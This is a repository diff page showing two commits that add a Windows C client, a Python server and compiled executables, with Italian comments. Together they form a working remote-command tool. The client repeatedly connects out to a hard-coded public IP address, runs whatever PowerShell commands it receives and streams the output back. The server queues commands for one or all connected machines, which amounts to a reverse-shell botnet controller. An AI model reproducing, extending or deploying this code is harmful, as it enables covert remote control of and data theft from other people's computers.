Compare commits
2 Commits
0bca364a0a
...
8186e0fddd
| Author | SHA1 | Date | |
|---|---|---|---|
| 8186e0fddd | |||
| 0682fed098 |
5
.vscode/settings.json
vendored
Normal file
5
.vscode/settings.json
vendored
Normal file
@ -0,0 +1,5 @@
|
|||||||
|
{
|
||||||
|
"files.associations": {
|
||||||
|
"networking.h": "c"
|
||||||
|
}
|
||||||
|
}
|
||||||
78
include/commandhandler.h
Normal file
78
include/commandhandler.h
Normal file
@ -0,0 +1,78 @@
|
|||||||
|
#ifndef COMMAND_H
|
||||||
|
#define COMMAND_H
|
||||||
|
|
||||||
|
FILE *fp;
|
||||||
|
|
||||||
|
// Esegui un comando powershell
|
||||||
|
void run_powershell_command(uint8_t cmd[], WSADATA* wsa, SOCKET* s) {
|
||||||
|
if (!isSocketConnected(*s)) {
|
||||||
|
printf("Socket non connesso, impossibile eseguire comando\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("Esecuzione comando PowerShell: %s\n", cmd);
|
||||||
|
|
||||||
|
char sendbuffer[4096];
|
||||||
|
char command[4096] = "powershell.exe -Command ";
|
||||||
|
|
||||||
|
strncat(command, (char*)cmd, sizeof(command) - strlen(command) - 1);
|
||||||
|
|
||||||
|
fp = _popen(command, "r");
|
||||||
|
if (fp == NULL) {
|
||||||
|
char* error_msg = "Errore nell'avvio di PowerShell";
|
||||||
|
sendCommand(wsa, s, error_msg);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (fgets(sendbuffer, sizeof(sendbuffer), fp) != NULL) {
|
||||||
|
// Controlla se il socket è ancora connesso prima di inviare
|
||||||
|
if (!isSocketConnected(*s)) {
|
||||||
|
printf("Client disconnected during command execution\n");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
sendCommand(wsa, s, sendbuffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
_pclose(fp);
|
||||||
|
|
||||||
|
// Invia messaggio di completamento
|
||||||
|
if (isSocketConnected(*s)) {
|
||||||
|
sendCommand(wsa, s, "[COMMAND_COMPLETED]");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void handleCommand(WSADATA* wsa, SOCKET* s, uint8_t cmd[]) {
|
||||||
|
// Controlla sempre se il socket è ancora connesso
|
||||||
|
if (!isSocketConnected(*s)) {
|
||||||
|
printf("Socket disconnesso, impossibile gestire comando\n");
|
||||||
|
closesocket(*s);
|
||||||
|
WSACleanup();
|
||||||
|
InitSocket(wsa, s);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
switch (cmd[0]) {
|
||||||
|
case 10: // PowerShell
|
||||||
|
printf("Comando PowerShell ricevuto\n");
|
||||||
|
|
||||||
|
if (!isSocketConnected(*s)) {
|
||||||
|
printf("Client disconnected before command reception\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint8_t command_buffer[4096] = {0};
|
||||||
|
receiveCommand(wsa, s, command_buffer);
|
||||||
|
|
||||||
|
// Verifica se la ricezione è riuscita e il socket è ancora valido
|
||||||
|
if (isSocketConnected(*s) && strlen((char*)command_buffer) > 0) {
|
||||||
|
run_powershell_command(command_buffer, wsa, s);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
default:
|
||||||
|
printf("Comando sconosciuto: %d\n", cmd[0]);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
101
include/networking.h
Normal file
101
include/networking.h
Normal file
@ -0,0 +1,101 @@
|
|||||||
|
#ifndef NETWORKING_H
|
||||||
|
#define NETWORKING_H
|
||||||
|
|
||||||
|
#define IP "37.60.240.95"
|
||||||
|
#define PORT 6134
|
||||||
|
|
||||||
|
// Robe/costanti/struct ecc
|
||||||
|
struct sockaddr_in server;
|
||||||
|
|
||||||
|
// Fuznione che inizializza il socket e la connessione
|
||||||
|
void InitSocket(WSADATA* wsa, SOCKET* s){
|
||||||
|
|
||||||
|
// Ciclo inizializzazzione librerie di rete
|
||||||
|
WSAStartup(MAKEWORD(2,2),wsa);
|
||||||
|
|
||||||
|
|
||||||
|
(*s) = socket(AF_INET, SOCK_STREAM, 0);
|
||||||
|
|
||||||
|
// Ciclo di connessione al server
|
||||||
|
while(1){
|
||||||
|
|
||||||
|
// Setup prima della connessione
|
||||||
|
server.sin_addr.s_addr = inet_addr(IP);
|
||||||
|
server.sin_family = AF_INET;
|
||||||
|
server.sin_port = htons(PORT);
|
||||||
|
|
||||||
|
|
||||||
|
// Connessione
|
||||||
|
if(connect(*s, (struct sockaddr *)&server, sizeof(server)) != -1){
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
Sleep(500);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
int isSocketConnected(SOCKET s) {
|
||||||
|
if (s == INVALID_SOCKET) return 0;
|
||||||
|
|
||||||
|
fd_set readfds;
|
||||||
|
FD_ZERO(&readfds);
|
||||||
|
FD_SET(s, &readfds);
|
||||||
|
|
||||||
|
return (select(0, &readfds, NULL, NULL, 0) != SOCKET_ERROR);
|
||||||
|
}
|
||||||
|
|
||||||
|
void receiveCommand(WSADATA* wsa, SOCKET* s, uint8_t* receivebuffer) {
|
||||||
|
if (!isSocketConnected(*s)) {
|
||||||
|
printf("Socket non connesso, riconnessione necessaria\n");
|
||||||
|
closesocket(*s);
|
||||||
|
WSACleanup();
|
||||||
|
InitSocket(wsa, s);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
memset(receivebuffer, 0, 4096);
|
||||||
|
|
||||||
|
int bytes_received = recv(*s, receivebuffer, 4095, 0);
|
||||||
|
|
||||||
|
if (bytes_received == SOCKET_ERROR) {
|
||||||
|
int error = WSAGetLastError();
|
||||||
|
printf("Errore ricezione: %d - Riconnessione...\n", error);
|
||||||
|
closesocket(*s);
|
||||||
|
WSACleanup();
|
||||||
|
InitSocket(wsa, s);
|
||||||
|
} else if (bytes_received == 0) {
|
||||||
|
printf("Client disconnected normally\n");
|
||||||
|
closesocket(*s);
|
||||||
|
WSACleanup();
|
||||||
|
InitSocket(wsa, s);
|
||||||
|
} else {
|
||||||
|
receivebuffer[bytes_received] = '\0';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void sendCommand(WSADATA* wsa, SOCKET* s, char* sendbuffer) {
|
||||||
|
if (!isSocketConnected(*s)) {
|
||||||
|
printf("Socket non connesso, impossibile inviare\n");
|
||||||
|
closesocket(*s);
|
||||||
|
WSACleanup();
|
||||||
|
InitSocket(wsa, s);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
int length = strlen(sendbuffer);
|
||||||
|
int bytes_sent = send(*s, sendbuffer, length, 0);
|
||||||
|
|
||||||
|
if (bytes_sent == SOCKET_ERROR) {
|
||||||
|
int error = WSAGetLastError();
|
||||||
|
printf("Errore invio: %d - Riconnessione...\n", error);
|
||||||
|
closesocket(*s);
|
||||||
|
WSACleanup();
|
||||||
|
InitSocket(wsa, s);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#endif
|
||||||
40
main.c
Normal file
40
main.c
Normal file
@ -0,0 +1,40 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
#include "winsock2.h"
|
||||||
|
|
||||||
|
|
||||||
|
#include "windows.h"
|
||||||
|
#include "include/networking.h"
|
||||||
|
#include "include/commandhandler.h"
|
||||||
|
|
||||||
|
int main(int argc, char* argv[]){
|
||||||
|
SOCKET s;
|
||||||
|
WSADATA wsa;
|
||||||
|
|
||||||
|
uint8_t receivebuffer[4096];
|
||||||
|
uint8_t sendbuffer[4096];
|
||||||
|
|
||||||
|
printf("Starting... \n");
|
||||||
|
printf("Initializing socket... \n");
|
||||||
|
InitSocket(&wsa, &s);
|
||||||
|
printf("Socket initialized \n");
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// Ciclo principale
|
||||||
|
while(1){
|
||||||
|
receiveCommand(&wsa, &s, receivebuffer);
|
||||||
|
if(receivebuffer[0] != 0){
|
||||||
|
printf("%s\n", receivebuffer);
|
||||||
|
|
||||||
|
// Parsing comando
|
||||||
|
handleCommand(&wsa, &s, receivebuffer);
|
||||||
|
}
|
||||||
|
Sleep(200);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
BIN
output/client.exe
Normal file
BIN
output/client.exe
Normal file
Binary file not shown.
BIN
output/out.exe
Normal file
BIN
output/out.exe
Normal file
Binary file not shown.
95
server.py
Normal file
95
server.py
Normal file
@ -0,0 +1,95 @@
|
|||||||
|
import socket
|
||||||
|
import threading
|
||||||
|
|
||||||
|
IP = "0.0.0.0"
|
||||||
|
PORT = 6134
|
||||||
|
BIND = IP + ":" + str(PORT)
|
||||||
|
|
||||||
|
clients = {}
|
||||||
|
client_id_counter = 1
|
||||||
|
lock = threading.Lock()
|
||||||
|
|
||||||
|
def client_receive(conn, addr, client_id):
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
data = conn.recv(4096) # Aumentato il buffer a 1024
|
||||||
|
if not data:
|
||||||
|
break
|
||||||
|
msg = data.decode("utf-8") # CORRETTO: decode invece di encode
|
||||||
|
print(f"[Client {client_id} - {addr}] {msg}")
|
||||||
|
except:
|
||||||
|
break
|
||||||
|
|
||||||
|
with lock:
|
||||||
|
print(f"Connessione chiusa dal client {client_id}")
|
||||||
|
if client_id in clients:
|
||||||
|
del clients[client_id]
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
def client_send():
|
||||||
|
while True:
|
||||||
|
comando = input("comando> ")
|
||||||
|
|
||||||
|
if comando == "list":
|
||||||
|
with lock:
|
||||||
|
if not clients:
|
||||||
|
print("Nessun client connesso")
|
||||||
|
else:
|
||||||
|
for cid, (conn, addr) in clients.items():
|
||||||
|
print(f"Client {cid}: {addr}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
elif ":" not in comando:
|
||||||
|
print("Formato: <id|all>: comando")
|
||||||
|
continue
|
||||||
|
target, msg = comando.split(":", 1)
|
||||||
|
|
||||||
|
if(msg == "ps" or msg == "powershell"):
|
||||||
|
msg = 10
|
||||||
|
msg = msg.to_bytes(1)
|
||||||
|
arg = input("Remote Command: ")
|
||||||
|
else:
|
||||||
|
{
|
||||||
|
print("Comando non valido")
|
||||||
|
}
|
||||||
|
|
||||||
|
with lock:
|
||||||
|
if target.strip().lower() == "all":
|
||||||
|
for cid, (conn, _) in clients.items():
|
||||||
|
conn.sendall(msg)
|
||||||
|
conn.sendall(arg.encode("utf-8"))
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
cid = int(target.strip())
|
||||||
|
if cid in clients:
|
||||||
|
clients[cid][0].sendall(msg)
|
||||||
|
clients[cid][0].sendall(arg.encode("utf-8"))
|
||||||
|
else:
|
||||||
|
print("Nessun client trovato")
|
||||||
|
except ValueError:
|
||||||
|
print("ID Non Valido")
|
||||||
|
|
||||||
|
def main():
|
||||||
|
global client_id_counter
|
||||||
|
|
||||||
|
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
server_socket.bind((IP, PORT))
|
||||||
|
server_socket.listen()
|
||||||
|
print(f"Server in ascolto su {BIND}")
|
||||||
|
|
||||||
|
# Avvia il thread per l'invio dei comandi
|
||||||
|
threading.Thread(target=client_send, daemon=True).start()
|
||||||
|
|
||||||
|
while True:
|
||||||
|
conn, addr = server_socket.accept()
|
||||||
|
with lock:
|
||||||
|
cid = client_id_counter
|
||||||
|
client_id_counter += 1
|
||||||
|
clients[cid] = (conn, addr)
|
||||||
|
print(f"Nuova connessione da {addr} assegnata ID: {cid}")
|
||||||
|
|
||||||
|
# Avvia il thread per ricevere i messaggi dal client
|
||||||
|
threading.Thread(target=client_receive, args=(conn, addr, cid), daemon=True).start()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
Loading…
x
Reference in New Issue
Block a user